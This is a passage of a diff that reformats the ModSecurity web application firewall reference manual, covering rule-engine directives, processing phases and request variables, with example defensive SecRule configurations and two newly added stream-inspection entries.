inherit rules from the parent + context. - Configuration contexts are an Apache concept. Directives - <Directory>, - <Files>, - <Location> and - <VirtualHost> are all used to create - configuration contexts. For more information please go to the - Apache documentation section Configuration - Sections. + Configuration contexts are an Apache concept. Directives <Directory>, <Files>, <Location> and <VirtualHost> are all used + to create configuration contexts. For more information please go to the Apache + documentation section Configuration Sections.
-
<literal>SecRuleEngine</literal> - - Description: Configures the rules - engine. - - Syntax: SecRuleEngine On|Off|DetectionOnly - - Example Usage: SecRuleEngine On - + Description: Configures the rules engine. + Syntax: + SecRuleEngine On|Off|DetectionOnly + Example Usage: + SecRuleEngine On Processing Phase: Any - Scope: Any - Version: 2.0.0 - - Dependencies/Notes: This directive can also - be controlled by the ctl action (ctl:ruleEngine=off) for per rule - processing. - + Dependencies/Notes: This directive can also be controlled by the + ctl action (ctl:ruleEngine=off) for per rule processing. Possible values are: - On - process rules. - - Off - do not process - rules. + Off - do not process rules. - - DetectionOnly - process - rules but never intercept transactions, even when rules are - configured to do so. + DetectionOnly - process rules but never intercept + transactions, even when rules are configured to do so.
-
<literal>SecRuleRemoveById</literal> - - Description: Removes matching rules from the - parent contexts. - - Syntax: SecRuleUpdateActionById RULEID - ACTIONLIST - - Example Usage: SecRuleRemoveByID 1 2 "9000-9010" - + Description: Removes matching rules from the parent + contexts. + Syntax: + SecRuleUpdateActionById RULEID ACTIONLIST + Example Usage: + SecRuleRemoveByID 1 2 "9000-9010" Processing Phase: Any - Scope: Any - Version: 2.0.0 - - Dependencies/Notes: This directive supports - multiple parameters, where each parameter can either be a rule ID, or a - range. Parameters that contain spaces must be delimited using double - quotes. - + Dependencies/Notes: This directive supports multiple parameters, + where each parameter can either be a rule ID, or a range. Parameters that contain spaces + must be delimited using double quotes. SecRuleRemoveById 1 2 5 10-20 "400-556" 673
-
<literal>SecRuleRemoveByMsg</literal> - - Description: Removes matching rules from the - parent contexts. - - Syntax: SecRuleRemoveByMsg REGEX - - Example Usage: SecRuleRemoveByMsg "FAIL" - + Description: Removes matching rules from the parent + contexts. + Syntax: + SecRuleRemoveByMsg REGEX + Example Usage: + SecRuleRemoveByMsg "FAIL" Processing Phase: Any - Scope: Any - Version: 2.0.0 - - Dependencies/Notes: This directive supports - multiple parameters. Each parameter is a regular expression that will be - applied to the message (specified using the msg action). + Dependencies/Notes: This directive supports multiple parameters. + Each parameter is a regular expression that will be applied to the message (specified using + the msg action).
-
<literal>SecRuleScript</literal> (Experimental) - - Description: This directive creates a special - rule that executes a Lua script to decide whether to match or not. The - main difference from SecRule is that there are no - targets nor operators. The script can fetch any variable from the - ModSecurity context and use any (Lua) operator to test them. The second - optional parameter is the list of actions whose meaning is identical to - that of SecRule. - - Syntax: SecRuleScript - /path/to/script.lua [ACTIONS] - - Example Usage: SecRuleScript "/path/to/file.lua" - "block" - + Description: This directive creates a special rule that executes a + Lua script to decide whether to match or not. The main difference from SecRule is that there are no targets nor operators. The script can fetch any + variable from the ModSecurity context and use any (Lua) operator to test them. The second + optional parameter is the list of actions whose meaning is identical to that of SecRule. + Syntax: + SecRuleScript /path/to/script.lua [ACTIONS] + Example Usage: + SecRuleScript "/path/to/file.lua" "block" Processing Phase: Any - Scope: Any - Version: 2.5.0 - Dependencies/Notes: None - - All Lua scripts are compiled at configuration time and cached in - memory. To reload scripts you must reload the entire ModSecurity - configuration by restarting Apache. + All Lua scripts are compiled at configuration time and cached in memory. To reload + scripts you must reload the entire ModSecurity configuration by restarting Apache. - Example script: - -- Your script must define the main entry -- point, as below. function main() @@ -2195,15 +1420,11 @@ function main() -- Otherwise, simply return nil. return nil; end - - In this first example we were only retrieving one variable at the - time. In this case the name of the variable is known to you. In many - cases, however, you will want to examine variables whose names you won't - know in advance, for example script parameters. - - Example showing use of m.getvars() to retrieve - many variables at once: - + In this first example we were only retrieving one variable at the time. In this case the + name of the variable is known to you. In many cases, however, you will want to examine + variables whose names you won't know in advance, for example script parameters. + Example showing use of m.getvars() to retrieve many variables at + once: function main() -- Retrieve script parameters. local d = m.getvars("ARGS", { "lowercase", "htmlEntityDecode" } ); @@ -2221,234 +1442,162 @@ end -- Nothing wrong found. return nil; end - - Go to http://www.lua.org/ to find more - about the Lua programming language. The reference manual too is - available online, at http://www.lua.org/manual/5.1/. + Go to http://www.lua.org/ to find more about + the Lua programming language. The reference manual too is available online, at http://www.lua.org/manual/5.1/. - - Lua support is marked as experimental as - the way the progamming interface may continue to evolve while we are - working for the best implementation style. Any user input into the - programming interface is appreciated. + Lua support is marked as experimental as the way the progamming + interface may continue to evolve while we are working for the best implementation style. + Any user input into the programming interface is appreciated.
-
<literal>SecRuleUpdateActionById</literal> - - Description: Updates the action list of the - specified rule. - - Syntax: SecRuleUpdateActionById RULEID - ACTIONLIST - - Example Usage: SecRuleUpdateActionById 12345 - deny,status:403 - + Description: Updates the action list of the specified rule. + Syntax: + SecRuleUpdateActionById RULEID ACTIONLIST + Example Usage: + SecRuleUpdateActionById 12345 deny,status:403 Processing Phase: Any - Scope: Any - Version: 2.5.0 - - Dependencies/Notes: This directive merges the - specified action list with the rule's action list. There are two - limitations. The rule ID cannot be changed, nor can the phase. Further - note that actions that may be specified multiple times are appended to - the original. - + Dependencies/Notes: This directive merges the specified action list + with the rule's action list. There are two limitations. The rule ID cannot be changed, nor + can the phase. Further note that actions that may be specified multiple times are appended + to the original. SecAction \ "t:lowercase,phase:2,id:12345,pass,msg:'The Message',log,auditlog" SecRuleUpdateActionById 12345 "t:compressWhitespace,deny,status:403,msg:'A new message' - - The example above will cause the rule to be executed as if it was - specified as follows: - + The example above will cause the rule to be executed as if it was specified as + follows: SecAction \ "t:lowercase,phase:2,id:12345,log,auditlog,t:compressWhitespace,deny,status:403,msg:'A new message'"
-
<literal>SecServerSignature</literal> - - Description: Instructs ModSecurity to change - the data presented in the "Server:" response header token. - - Syntax: SecServerSignature "WEB SERVER - SOFTWARE" - - Example Usage: SecServerSignature - "Netscape-Enterprise/6.0" - + Description: Instructs ModSecurity to change the data presented in + the Server response header token. + Syntax: + SecServerSignature "WEB SERVER SOFTWARE" + Example Usage: + SecServerSignature "Netscape-Enterprise/6.0" Processing Phase: N/A - Scope: Main - Version: 2.0.0 - - Dependencies/Notes: In order for this - directive to work, you must set the Apache ServerTokens directive to - Full. ModSecurity will overwrite the server signature data held in this - memory space with the data set in this directive. If ServerTokens is not - set to Full, then the memory space is most likely not large enough to - hold the new data we are looking to insert. + Dependencies/Notes: In order for this directive to work, you must + set the Apache ServerTokens directive to Full. ModSecurity will overwrite the server + signature data held in this memory space with the data set in this directive. If + ServerTokens is not set to Full, then the memory space is most likely not large enough to + hold the new data we are looking to insert. +
+
+ <literal>SecStreamInspection</literal> + Description: Controls inspection of streams. Enabled by default. + Example: SecStreamInspection Off + Processing Phase: N/A + Version: 3.0.0 +
+
+ <literal>SecStreamInspect</literal> + Description: + Example: SecStreamInspect REQUEST_BODY "@pm this that" + log,warn,t:none + Processing Phase: N/A; streams are processed as they become available. + Version: 3.0.0
-
<literal>SecTmpDir</literal> - - Description: Configures the directory where - temporary files will be created. - - Syntax: SecTmpDir - /path/to/dir - - Example Usage: SecTmpDir /tmp - + Description: Configures the directory where temporary files will be + created. + Syntax: + SecTmpDir /path/to/dir + Example Usage: + SecTmpDir /tmp Processing Phase: N/A - Scope: Any - Version: 2.0.0 - - Dependencies/Notes: Needs to be writable by - the Apache user process. This is the directory location where Apache - will swap data to disk if it runs out of memory (more data than what was - specified in the SecRequestBodyInMemoryLimit directive) during - inspection. + Dependencies/Notes: Needs to be writable by the Apache user + process. This is the directory location where Apache will swap data to disk if it runs out + of memory (more data than what was specified in the SecRequestBodyInMemoryLimit directive) + during inspection.
-
<literal>SecUploadDir</literal> - - Description: Configures the directory where - intercepted files will be stored. - - Syntax: SecUploadDir - /path/to/dir - - Example Usage: SecUploadDir /tmp - + Description: Configures the directory where intercepted files will + be stored. + Syntax: + SecUploadDir /path/to/dir + Example Usage: + SecUploadDir /tmp Processing Phase: N/A - Scope: Any - Version: 2.0.0 - - Dependencies/Notes: This directory must be on - the same filesystem as the temporary directory defined with SecTmpDir. This directive is used with - SecUploadKeepFiles. + Dependencies/Notes: This directory must be on the same filesystem + as the temporary directory defined with SecTmpDir. This + directive is used with SecUploadKeepFiles.
-
<literal>SecUploadFileMode</literal> - - Description: Configures the mode - (permissions) of any uploaded files using an octal number (as used in - chmod). - - Syntax: SecUploadFileMode octal_mode|"default" - - Example Usage: SecUploadFileMode 0640 - + Description: Configures the mode (permissions) of any uploaded + files using an octal number (as used in chmod). + Syntax: + SecUploadFileMode octal_mode|"default" + Example Usage: + SecUploadFileMode 0640 Processing Phase: N/A - Scope: Any - Version: 2.1.6 - - Dependencies/Notes: This feature is not - available on operating systems not supporting octal file modes. The - default mode (0600) only grants read/write access to the account writing - the file. If access from another account is needed (using clamd is a - good example), then this directive may be required. However, use this - directive with caution to avoid exposing potentially sensitive data to - unauthorized users. Using the value "default" will revert back to the - default setting. + Dependencies/Notes: This feature is not available on operating + systems not supporting octal file modes. The default mode (0600) only grants read/write + access to the account writing the file. If access from another account is needed (using + clamd is a good example), then this directive may be required. However, use this directive + with caution to avoid exposing potentially sensitive data to unauthorized users. Using the + value "default" will revert back to the default setting.
-
<literal>SecUploadKeepFiles</literal> - - Description: Configures whether or not the - intercepted files will be kept after transaction is processed. - - Syntax: SecUploadKeepFiles On|Off|RelevantOnly - - Example Usage: SecUploadKeepFiles On - + Description: Configures whether or not the intercepted files will + be kept after transaction is processed. + Syntax: + SecUploadKeepFiles On|Off|RelevantOnly + Example Usage: + SecUploadKeepFiles On Processing Phase: N/A - Scope: Any - Version: 2.0.0 - - Dependencies/Notes: This directive requires - the storage directory to be defined (using SecUploadDir). - + Dependencies/Notes: This directive requires the storage directory + to be defined (using SecUploadDir). Possible values are: - - On - Keep uploaded - files. + On - Keep uploaded files. - - Off - Do not keep uploaded - files. + Off - Do not keep uploaded files. - - RelevantOnly - This will - keep only those files that belong to requests that are deemed - relevant. + RelevantOnly - This will keep only those files + that belong to requests that are deemed relevant.
-
<literal>SecWebAppId</literal> - - Description: Creates a partition on the - server that belongs to one web application. - - Syntax: SecWebAppId - "NAME" - - Example Usage: SecWebAppId "WebApp1" - + Description: Creates a partition on the server that belongs to one + web application. + Syntax: + SecWebAppId "NAME" + Example Usage: + SecWebAppId "WebApp1" Processing Phase: N/A - Scope: Any - Version: 2.0.0 - - Dependencies/Notes: Partitions are used to - avoid collisions between session IDs and user IDs. This directive must - be used if there are multiple applications deployed on the same server. - If it isn't used, a collision between session IDs might occur. The - default value is default. - Example: - + Dependencies/Notes: Partitions are used to avoid collisions between + session IDs and user IDs. This directive must be used if there are multiple applications + deployed on the same server. If it isn't used, a collision between session IDs might occur. + The default value is default. Example: <VirtualHost *:80> ServerName app1.com ServerAlias www.app1.com @@ -2466,533 +1615,378 @@ SecRule REQUEST_COOKIES:PHPSESSID !^$ chain,nolog,pass SecAction setsid:%{REQUEST_COOKIES.PHPSESSID} ... </VirtualHost> - - In the two examples configurations shown, SecWebAppId is being - used in conjunction with the Apache VirtualHost directives. What this - achieves is to create more unique collection names when being hosted on - one server. Normally, when setsid is used, ModSecurity will create a - collection with the name "SESSION" and it will hold the value specified. - With using SecWebAppId as shown in the examples, however, the name of - the collection would become "App1_SESSION" and "App2_SESSION". - + In the two examples configurations shown, SecWebAppId is being used in conjunction with + the Apache VirtualHost directives. What this achieves is to create more unique collection + names when being hosted on one server. Normally, when setsid is used, ModSecurity will + create a collection with the name "SESSION" and it will hold the value specified. With using + SecWebAppId as shown in the examples, however, the name of the collection would become + "App1_SESSION" and "App2_SESSION". SecWebAppId is relevant in two cases: - - You are logging transactions/alerts to the ModSecurity Console - and you want to use the web application ID to search only the - transactions belonging to that application. + You are logging transactions/alerts to the ModSecurity Console and you want to use + the web application ID to search only the transactions belonging to that + application. - - You are using the data persistence facility (collections - SESSION and USER) and you need to avoid collisions between sessions - and users belonging to different applications. + You are using the data persistence facility (collections SESSION and USER) and you + need to avoid collisions between sessions and users belonging to different + applications.
-
Processing Phases - - ModSecurity 2.x allows rules to be placed in one of the following - five phases: - + ModSecurity 2.x allows rules to be placed in one of the following five phases: Request headers (REQUEST_HEADERS) - Request body (REQUEST_BODY) - Response headers (RESPONSE_HEADERS) - Response body (RESPONSE_BODY) - Logging (LOGGING) - - Below is a diagram of the standard Apache Request Cycle. In the - diagram, the 5 ModSecurity processing phases are shown. - - - - In order to select the phase a rule executes during, use the phase - action either directly in the rule or in using the - SecDefaultAction directive: - + Below is a diagram of the standard Apache Request Cycle. In the diagram, the 5 ModSecurity + processing phases are shown. + + + + In order to select the phase a rule executes during, use the phase action either directly + in the rule or in using the SecDefaultAction directive: SecDefaultAction "log,pass,phase:2" SecRule REQUEST_HEADERS:Host "!^$" "deny,phase:1" - - Keep in mind that rules are executed according to phases, so even - if two rules are adjacent in a configuration file, but are set to - execute in different phases, they would not happen one after the other. - The order of rules in the configuration file is important only within - the rules of each phase. This is especially important when using the - skip and skipAfter actions. + Keep in mind that rules are executed according to phases, so even if two rules are + adjacent in a configuration file, but are set to execute in different phases, they would not + happen one after the other. The order of rules in the configuration file is important only + within the rules of each phase. This is especially important when using the skip and skipAfter actions. - - The LOGGING phase is special. It is executed at - the end of each transaction no matter what happened in the previous - phases. This means it will be processed even if the request was - intercepted or the allow action was used to pass the - transaction through. + The LOGGING phase is special. It is executed at the end of each + transaction no matter what happened in the previous phases. This means it will be processed + even if the request was intercepted or the allow action was used to pass + the transaction through. -
Phase Request Headers - - Rules in this phase are processed immediately after Apache - completes reading the request headers (post-read-request phase). At this - point the request body has not been read yet, meaning not all request - arguments are available. Rules should be placed in this phase if you - need to have them run early (before Apache does something with the - request), to do something before the request body has been read, - determine whether or not the request body should be buffered, or decide - how you want the request body to be processed (e.g. whether to parse it - as XML or not). - + Rules in this phase are processed immediately after Apache completes reading the request + headers (post-read-request phase). At this point the request body has not been read yet, + meaning not all request arguments are available. Rules should be placed in this phase if you + need to have them run early (before Apache does something with the request), to do something + before the request body has been read, determine whether or not the request body should be + buffered, or decide how you want the request body to be processed (e.g. whether to parse it + as XML or not). Note - - Rules in this phase can not leverage Apache scope directives - (Directory, Location, LocationMatch, etc...) as the post-read-request - hook does not have this information yet. The exception here is the - VirtualHost directive. If you want to use ModSecurity rules inside - Apache locations, then they should run in Phase 2. Refer to the Apache - Request Cycle/ModSecurity Processing Phases diagram. + Rules in this phase can not leverage Apache scope directives (Directory, Location, + LocationMatch, etc...) as the post-read-request hook does not have this information yet. The + exception here is the VirtualHost directive. If you want to use ModSecurity rules inside + Apache locations, then they should run in Phase 2. Refer to the Apache Request + Cycle/ModSecurity Processing Phases diagram.
-
Phase Request Body - - This is the general-purpose input analysis phase. Most of the - application-oriented rules should go here. In this phase you are - guaranteed to have received the request arguments (provided the request - body has been read). ModSecurity supports three encoding types for the - request body phase: - + This is the general-purpose input analysis phase. Most of the application-oriented rules + should go here. In this phase you are guaranteed to have received the request arguments + (provided the request body has been read). ModSecurity supports three encoding types for the + request body phase: - application/x-www-form-urlencoded - used to - transfer form data + application/x-www-form-urlencoded - used to transfer form + data - - multipart/form-data - used for file - transfers + multipart/form-data - used for file transfers - text/xml - used for passing XML data - Other encodings are not used by most web applications.
-
Phase Response Headers - - This phase takes place just before response headers are sent back - to the client. Run here if you want to observe the response before that - happens, and if you want to use the response headers to determine if you - want to buffer the response body. Note that some response status codes - (such as 404) are handled earlier in the request cycle by Apache and my - not be able to be triggered as expected. Additionally, there are some - response headers that are added by Apache at a later hook (such as Date, - Server and Connection) that we would not be able to trigger on or - sanitize. This should work appropriately in a proxy setup or within - phase:5 (logging). + This phase takes place just before response headers are sent back to the client. Run + here if you want to observe the response before that happens, and if you want to use the + response headers to determine if you want to buffer the response body. Note that some + response status codes (such as 404) are handled earlier in the request cycle by Apache and + my not be able to be triggered as expected. Additionally, there are some response headers + that are added by Apache at a later hook (such as Date, Server and Connection) that we would + not be able to trigger on or sanitize. This should work appropriately in a proxy setup or + within phase:5 (logging).
-
Phase Response Body - - This is the general-purpose output analysis phase. At this point - you can run rules against the response body (provided it was buffered, - of course). This is the phase where you would want to inspect the - outbound HTML for information disclosure, error messages or failed - authentication text. + This is the general-purpose output analysis phase. At this point you can run rules + against the response body (provided it was buffered, of course). This is the phase where you + would want to inspect the outbound HTML for information disclosure, error messages or failed + authentication text.
-
Phase Logging - - This phase is run just before logging takes place. The rules - placed into this phase can only affect how the logging is performed. - This phase can be used to inspect the error messages logged by Apache. - You cannot deny/block connections in this phase as it is too late. This - phase also allows for inspection of other response headers that weren't - available during phase:3 or phase:4. Note that you must be careful not - to inherit a disruptive action into a rule in this phase as this is a - configuration error in ModSecurity 2.5.0 and later versions. + This phase is run just before logging takes place. The rules placed into this phase can + only affect how the logging is performed. This phase can be used to inspect the error + messages logged by Apache. You cannot deny/block connections in this phase as it is too + late. This phase also allows for inspection of other response headers that weren't available + during phase:3 or phase:4. Note that you must be careful not to inherit a disruptive action + into a rule in this phase as this is a configuration error in ModSecurity 2.5.0 and later + versions.
-
Variables - The following variables are supported in ModSecurity 2.x: -
<literal moreinfo="none">ARGS</literal> - - ARGS is a collection and can be used on its own - (means all arguments including the POST Payload), with a static - parameter (matches arguments with that name), or with a regular - expression (matches all arguments with name that matches the regular - expression). To look at only the query string or body arguments, see the - ARGS_GET and ARGS_POST - collections. - - Some variables are actually collections, which are expanded into - more variables at runtime. The following example will examine all - request arguments:SecRule ARGS dirty - Sometimes, however, you will want to look only at parts of a collection. - This can be achieved with the help of the selection - operator(colon). The following example will only look at the - arguments named p (do note that, in - general, requests can contain multiple arguments with the same name): - SecRule ARGS:p dirty - It is also possible to specify exclusions. The following will examine - all request arguments for the word dirty, except - the ones named z (again, there can be - zero or more arguments named z): - SecRule ARGS|!ARGS:z dirty - There is a special operator that allows you to count how many variables - there are in a collection. The following rule will trigger if there is - more than zero arguments in the request (ignore the second parameter for - the time being): SecRule &ARGS !^0$ - And sometimes you need to look at an array of parameters, each with a - slightly different name. In this case you can specify a regular - expression in the selection operator itself. The following rule will - look into all arguments whose names begin with id_: SecRule ARGS:/^id_/ dirty - + ARGS is a collection and can be used on its own (means all arguments + including the POST Payload), with a static parameter (matches arguments with that name), or + with a regular expression (matches all arguments with name that matches the regular + expression). To look at only the query string or body arguments, see the ARGS_GET and ARGS_POST collections. + Some variables are actually collections, which are expanded into more variables at + runtime. The following example will examine all request + arguments:SecRule ARGS dirty + Sometimes, however, you will want to look only at parts of a collection. This can be + achieved with the help of the selection operator(colon). The following + example will only look at the arguments named p (do note + that, in general, requests can contain multiple arguments with the same name): + SecRule ARGS:p dirty It is also + possible to specify exclusions. The following will examine all request arguments for the + word dirty, except the ones named z (again, there can be zero or more arguments named + z): + SecRule ARGS|!ARGS:z dirty There is a + special operator that allows you to count how many variables there are in a collection. The + following rule will trigger if there is more than zero arguments in the request (ignore the + second parameter for the time being): + SecRule &ARGS !^0$ And sometimes + you need to look at an array of parameters, each with a slightly different name. In this + case you can specify a regular expression in the selection operator itself. The following + rule will look into all arguments whose names begin with id_: + SecRule ARGS:/^id_/ dirty - Using ARGS:p will not result in any - invocations against the operator if argument p does not exist. - - In ModSecurity 1.X, the ARGS variable stood - for QUERY_STRING + POST_PAYLOAD, - whereas now it expands to individual variables. + Using ARGS:p will not result in any invocations against the + operator if argument p does not exist. + In ModSecurity 1.X, the ARGS variable stood for QUERY_STRING + POST_PAYLOAD, whereas now it expands to + individual variables.
-
<literal moreinfo="none">ARGS_COMBINED_SIZE</literal> - - This variable allows you to set more targeted evaluations on the - total size of the Arguments as compared with normal Apache LimitRequest - directives. For example, you could create a rule to ensure that the - total size of the argument data is below a certain threshold (to help - prevent buffer overflow issues). Example: Block request if the size of - the arguments is above 25 characters. - + This variable allows you to set more targeted evaluations on the total size of the + Arguments as compared with normal Apache LimitRequest directives. For example, you could + create a rule to ensure that the total size of the argument data is below a certain + threshold (to help prevent buffer overflow issues). Example: Block request if the size of + the arguments is above 25 characters. SecRule REQUEST_FILENAME "^/cgi-bin/login\.php" \ "chain,log,deny,phase:2,t:none,t:lowercase,t:normalisePath" SecRule ARGS_COMBINED_SIZE "@gt 25"
-
<literal moreinfo="none">ARGS_NAMES</literal> - - Is a collection of the argument names. You can search for specific - argument names that you want to block. In a positive policy scenario, - you can also whitelist (using an inverted rule with the ! character) - only authorized argument names. Example: This example rule will only - allow 2 argument names - p and a. If any other argument names are - injected, it will be blocked. - + Is a collection of the argument names. You can search for specific argument names that + you want to block. In a positive policy scenario, you can also whitelist (using an inverted + rule with the ! character) only authorized argument names. Example: This example rule will + only allow 2 argument names - p and a. If any other argument names are injected, it will be + blocked. SecRule REQUEST_FILENAME "/index.php" \ "chain,log,deny,status:403,phase:2,t:none,t:lowercase,t:normalisePath" SecRule ARGS_NAMES "!^(p|a)$" "t:none,t:lowercase"
-
<literal moreinfo="none">ARGS_GET</literal> - - ARGS_GET is similar to ARGS, - but only contains arguments from the query string. + ARGS_GET is similar to ARGS, but only contains + arguments from the query string.
-
<literal moreinfo="none">ARGS_GET_NAMES</literal> - - ARGS_GET_NAMES is similar to - ARGS_NAMES, but only contains argument names from the - query string. + ARGS_GET_NAMES is similar to ARGS_NAMES, but only + contains argument names from the query string.
-
<literal moreinfo="none">ARGS_POST</literal> - - ARGS_POST is similar to - ARGS, but only contains arguments from the POST - body. + ARGS_POST is similar to ARGS, but only contains + arguments from the POST body.
-
<literal moreinfo="none">ARGS_POST_NAMES</literal> - - ARGS_POST_NAMES is similar to - ARGS_NAMES, but only contains argument names from the - POST body. + ARGS_POST_NAMES is similar to ARGS_NAMES, but only + contains argument names from the POST body.
-
<literal moreinfo="none">AUTH_TYPE</literal> - - This variable holds the authentication method used to validate a - user. Example: - + This variable holds the authentication method used to validate a user. Example: SecRule AUTH_TYPE "basic" log,deny,status:403,phase:1,t:lowercase - Note - - This data will not be available in a proxy-mode deployment as the - authentication is not local. In a proxy-mode deployment, you would need - to inspect the REQUEST_HEADERS:Authorization - header. + This data will not be available in a proxy-mode deployment as the authentication is not + local. In a proxy-mode deployment, you would need to inspect the REQUEST_HEADERS:Authorization header.
-
<literal moreinfo="none">ENV</literal> - - Collection, requires a single parameter (after colon). The - ENV variable is set with setenv and does not give - access to the CGI environment variables. Example: - + Collection, requires a single parameter (after colon). The ENV + variable is set with setenv and does not give access to the CGI environment variables. + Example: SecRule REQUEST_FILENAME "printenv" pass,setenv:tag=suspicious SecRule ENV:tag "suspicious"
-
<literal moreinfo="none">FILES</literal> - - Collection. Contains a collection of original file names (as they - were called on the remote user's file system). Note: only available if - files were extracted from the request body. Example: - + Collection. Contains a collection of original file names (as they were called on the + remote user's file system). Note: only available if files were extracted from the request + body. Example: SecRule FILES "\.conf$" log,deny,status:403,phase:2
-
<literal moreinfo="none">FILES_COMBINED_SIZE</literal> - - Single value. Total size of the uploaded files. Note: only - available if files were extracted from the request body. Example: - + Single value. Total size of the uploaded files. Note: only available if files were + extracted from the request body. Example: SecRule FILES_COMBINED_SIZE "@gt 1000" log,deny,status:403,phase:2
-
<literal moreinfo="none">FILES_NAMES</literal> - - Collection w/o parameter. Contains a list of form fields that were - used for file upload. Note: only available if files were extracted from - the request body. Example: - + Collection w/o parameter. Contains a list of form fields that were used for file upload. + Note: only available if files were extracted from the request body. Example: SecRule FILES_NAMES "^upfile$" log,deny,status:403,phase:2
-
<literal moreinfo="none">FILES_SIZES</literal> - - Collection. Contains a list of file sizes. Useful for implementing - a size limitation on individual uploaded files. Note: only available if - files were extracted from the request body. Example: - + Collection. Contains a list of file sizes. Useful for implementing a size limitation on + individual uploaded files. Note: only available if files were extracted from the request + body. Example: SecRule FILES_SIZES "@gt 100" log,deny,status:403,phase:2
-
<literal moreinfo="none">FILES_TMPNAMES</literal> - - Collection. Contains a collection of temporary files' names on the - disk. Useful when used together with @inspectFile. Note: only available if files - were extracted from the request body. Example: - + Collection. Contains a collection of temporary files' names on the disk. Useful when + used together with @inspectFile. Note: only available if + files were extracted from the request body. Example: SecRule FILES_TMPNAMES "@inspectFile /path/to/inspect_script.pl"
-
<literal moreinfo="none">GEO</literal> - - GEO is a collection populated by the @geoLookups operator. It can be used to match - geographical fields looked up by an IP address or hostname. - + GEO is a collection populated by the @geoLookups operator. It can be used to match geographical fields looked up by + an IP address or hostname. Available since 2.2.0. - Fields: - - COUNTRY_CODE: Two character country code. - EX: US, UK, etc. + COUNTRY_CODE: Two character country code. EX: US, UK, + etc. - - COUNTRY_CODE3: Up to three character - country code. + COUNTRY_CODE3: Up to three character country code. - - COUNTRY_NAME: The full country - name. + COUNTRY_NAME: The full country name. - - COUNTRY_CONTINENT: The two character - continent that the country is located. EX: EU + COUNTRY_CONTINENT: The two character continent that the country + is located. EX: EU - - REGION: The two character region. For US, - this is state. For Canada, providence, etc. + REGION: The two character region. For US, this is state. For + Canada, providence, etc. - CITY: The city name. - POSTAL_CODE: The postal code. - LATITUDE: The latitude. - LONGITUDE: The longitude. - - DMA_CODE: The metropolitan area code. (US - only) + DMA_CODE: The metropolitan area code. (US only) - - AREA_CODE: The phone system area code. - (US only) + AREA_CODE: The phone system area code. (US only) - Example: - SecRule REMOTE_ADDR "@geoLookup" "chain,drop,msg:'Non-UK IP address'" SecRule GEO:COUNTRY_CODE "!@streq UK"
-
<literal moreinfo="none">HIGHEST_SEVERITY</literal> - - This variable holds the highest severity of any rules that have - matched so far. Severities are numeric values and thus can be used with - comparison operators such as @lt, - etc. - + This variable holds the highest severity of any rules that have matched so far. + Severities are numeric values and thus can be used with comparison operators such as + @lt, etc. Higher severities have a lower numeric value. - A value of 255 indicates no severity has been set. - SecRule HIGHEST_SEVERITY "@le 2" "phase:2,deny,status:500,msg:'severity %{HIGHEST_SEVERITY}'"
-
<literal moreinfo="none">MATCHED_VAR</literal> - - This variable holds the value of the variable that was matched - against. It is similar to the TX:0, except it can be used for all - operators and does not require that the capture action be specified. - + This variable holds the value of the variable that was matched against. It is similar to + the TX:0, except it can be used for all operators and does not require that the capture action be specified. SecRule ARGS pattern chain,deny ... SecRule MATCHED_VAR "further scrutiny"
-
<literal moreinfo="none">MATCHED_VAR_NAME</literal> - - This variable holds the full name of the variable that was matched - against. - + This variable holds the full name of the variable that was matched against. SecRule ARGS pattern setvar:tx.mymatch=%{MATCHED_VAR_NAME} ... SecRule TX:MYMATCH "@eq ARGS:param" deny
-
<literal moreinfo="none">MODSEC_BUILD</literal> - - This variable holds the ModSecurity build number. This variable is - intended to be used to check the build number prior to using a feature - that is available only in a certain build. Example: - + This variable holds the ModSecurity build number. This variable is intended to be used + to check the build number prior to using a feature that is available only in a certain + build. Example: SecRule MODSEC_BUILD "!@ge 02050102" skipAfter:12345 SecRule ARGS "@pm some key words" id:12345,deny,status:500
-
<literal>MULTIPART_CRLF_LF_LINES</literal> - - This flag variable will be set to 1 whenever a - multi-part request uses mixed line terminators. The - multipart/form-data RFC requires - CRLF sequence to be used to terminate lines. Since - some client implementations use only LF to terminate - lines you might want to allow them to proceed under certain - circumstances (if you want to do this you will need to stop using - MULTIPART_STRICT_ERROR and check each multi-part flag - variable individually, avoiding MULTIPART_LF_LINE). - However, mixing CRLF and LF line - terminators is dangerous as it can allow for evasion. Therefore, in such - cases, you will have to add a check for - MULTIPART_CRLF_LF_LINES. + This flag variable will be set to 1 whenever a multi-part request + uses mixed line terminators. The multipart/form-data RFC requires + CRLF sequence to be used to terminate lines. Since some client + implementations use only LF to terminate lines you might want to allow + them to proceed under certain circumstances (if you want to do this you will need to stop + using MULTIPART_STRICT_ERROR and check each multi-part flag variable + individually, avoiding MULTIPART_LF_LINE). However, mixing CRLF and LF line terminators is dangerous as it can allow + for evasion. Therefore, in such cases, you will have to add a check for MULTIPART_CRLF_LF_LINES.
-
<literal>MULTIPART_STRICT_ERROR</literal> - - MULTIPART_STRICT_ERROR will be set to - 1 when any of the following variables is also set to - 1: REQBODY_PROCESSOR_ERROR, - MULTIPART_BOUNDARY_QUOTED, - MULTIPART_BOUNDARY_WHITESPACE, - MULTIPART_DATA_BEFORE, - MULTIPART_DATA_AFTER, - MULTIPART_HEADER_FOLDING, - MULTIPART_LF_LINE, - MULTIPART_SEMICOLON_MISSING. Each of these variables - covers one unusual (although sometimes legal) aspect of the request body - in multipart/form-data format. Your policies should - always contain a rule to check either this variable - (easier) or one or more individual variables (if you know exactly what - you want to accomplish). Depending on the rate of false positives and - your default policy you should decide whether to block or just warn when - the rule is triggered. - - The best way to use this variable is as in the example - below: - + MULTIPART_STRICT_ERROR will be set to 1 when any + of the following variables is also set to 1: REQBODY_PROCESSOR_ERROR, MULTIPART_BOUNDARY_QUOTED, MULTIPART_BOUNDARY_WHITESPACE, MULTIPART_DATA_BEFORE, + MULTIPART_DATA_AFTER, MULTIPART_HEADER_FOLDING, + MULTIPART_LF_LINE, MULTIPART_SEMICOLON_MISSING. Each + of these variables covers one unusual (although sometimes legal) aspect of the request body + in multipart/form-data format. Your policies should + always contain a rule to check either this variable (easier) or one + or more individual variables (if you know exactly what you want to accomplish). Depending on + the rate of false positives and your default policy you should decide whether to block or + just warn when the rule is triggered. + The best way to use this variable is as in the example below: SecRule MULTIPART_STRICT_ERROR "!@eq 0" \ "phase:2,t:none,log,deny,msg:'Multipart request body \ failed strict validation: \ @@ -3004,566 +1998,354 @@ DA %{MULTIPART_DATA_AFTER}, \ HF %{MULTIPART_HEADER_FOLDING}, \ LF %{MULTIPART_LF_LINE}, \ SM %{MULTIPART_SEMICOLON_MISSING}'" - - The multipart/form-data parser was upgraded in - ModSecurity v2.1.3 to actively look for signs of evasion. Many variables - (as listed above) were added to expose various facts discovered during - the parsing process. The MULTIPART_STRICT_ERROR - variable is handy to check on 